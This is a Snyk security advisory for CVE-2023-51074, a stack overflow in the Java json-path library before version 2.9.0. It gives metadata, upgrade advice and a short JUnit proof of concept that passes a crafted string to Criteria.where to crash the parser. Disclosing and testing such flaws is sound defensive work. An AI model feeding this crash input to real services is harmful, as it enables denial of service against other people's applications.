Buffer Overflow Affecting com.jayway.jsonpath:json-path package, versions [,2.9.0)
Snyk CVSS
Attack Complexity
High
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.05% (16th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JAVA-COMJAYWAYJSONPATH-6140361
- published 21 Jan 2024
- disclosed 27 Dec 2023
- credit PoppingSnack
Introduced: 27 Dec 2023
CVE-2023-51074 Open this link in a new tabHow to fix?
Upgrade com.jayway.jsonpath:json-path
to version 2.9.0 or higher.
Overview
Affected versions of this package are vulnerable to Buffer Overflow via the deprecated Criteria.parse
or Criteria.where
methods. An attacker can disrupt the regular operation of the application by supplying a specially crafted input that triggers a stack overflow.
Exploiting this vulnerability requires insecure configurations on the server side, for example - handling requests in a one single thread.
PoC
import com.jayway.jsonpath.Criteria;
import org.junit.Test;
public class CriteriaFuzzerWhere1 {
// Stack overflow
@Test
public void whereFuzzerTest() {
try {
Criteria result = Criteria.where("[']',");
} catch (Exception e) {
}
}
}